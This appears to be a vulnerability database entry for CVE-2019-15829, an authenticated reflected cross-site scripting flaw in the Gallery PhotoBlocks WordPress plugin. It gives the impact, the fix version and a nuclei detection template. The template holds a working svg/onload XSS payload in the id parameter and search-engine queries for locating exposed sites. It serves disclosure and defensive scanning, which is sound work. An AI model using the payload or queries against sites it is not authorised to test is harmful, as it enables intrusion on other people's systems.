Browse / CVEs / CVE-2019-15829
CVE-2019-15829· greentreelabs / gallery photoblocks· CWE-79
Gallery Photoblocks < 1.1.43 - Cross-Site Scripting
mediumseverity
4.8CVSS score
1.2%likelihood of exploitation, next 30 days
68%of all CVEs are less likely
Readycheck to confirm it
The Gallery PhotoBlocks WordPress plugin was affected by an Authenticated Reflected XSS security vulnerability.
Impact
Authenticated attackers can inject malicious JavaScript through the id parameter, potentially stealing admin session cookies or performing privileged actions on behalf of administrators.
Fix
Fixed in 1.1.43
How to confirm it
Send: POST /wp-login.php ; GET /wp-admin/admin.php?page=photoblocks-edit&id=%22%3E%3Csvg%2Fonload%3Dalert(document.domain)%3E
Positive when: status_code_2 == 200 and contains(body_2, "<svg/onload=alert(document.domain)>") and contains(body_2, "post galleries!")Run it with nuclei: nuclei -id CVE-2019-15829 -u <target>
The full check
id: CVE-2019-15829
info:
name: Gallery Photoblocks < 1.1.43 - Cross-Site Scripting
author: r3Y3r53
severity: medium
description: |
The Gallery PhotoBlocks WordPress plugin was affected by an Authenticated Reflected XSS security vulnerability.
impact: |
Authenticated attackers can inject malicious JavaScript through the id parameter, potentially stealing admin session cookies or performing privileged actions on behalf of administrators.
remediation: Fixed in 1.1.43
reference:
- https://wpscan.com/vulnerability/b8d1d88e-f2e5-4212-af34-c91f563f07b6/
- https://nvd.nist.gov/vuln/detail/CVE-2019-15829
- https://wordpress.org/plugins/photoblocks-grid-gallery/
- https://wordpress.org/plugins/photoblocks-grid-gallery/#developers
- https://wpvulndb.com/vulnerabilities/9443
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
cvss-score: 4.8
cve-id: CVE-2019-15829
cwe-id: CWE-79
epss-score: 0.0118
epss-percentile: 0.67943
cpe: cpe:2.3:a:greentreelabs:gallery_photoblocks:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 2
vendor: greentreelabs
product: gallery_photoblocks
framework: wordpress
shodan-query: http.html:/wp-content/plugins/photoblocks-grid-gallery/
fofa-query: body=/wp-content/plugins/photoblocks-grid-gallery/
publicwww-query: "/wp-content/plugins/photoblocks-grid-gallery/"
tags: cve,cve2019,wp,wordpress,wp-plugin,photoblocks-gallery,xss,authenticated,wpscan,greentreelabs,vuln
http:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In
- |
GET /wp-admin/admin.php?page=photoblocks-edit&id=%22%3E%3Csvg%2Fonload%3Dalert(document.domain)%3E HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'status_code_2 == 200'
- 'contains(body_2, "<svg/onload=alert(document.domain)>")'
- 'contains(body_2, "post galleries!")'
condition: andReferences
- https://wpscan.com/vulnerability/b8d1d88e-f2e5-4212-af34-c91f563f07b6/
- https://nvd.nist.gov/vuln/detail/CVE-2019-15829
- https://wordpress.org/plugins/photoblocks-grid-gallery/
- https://wordpress.org/plugins/photoblocks-grid-gallery/#developers
- https://wpvulndb.com/vulnerabilities/9443
Use this check only on systems you are authorised to test. Where the data comes from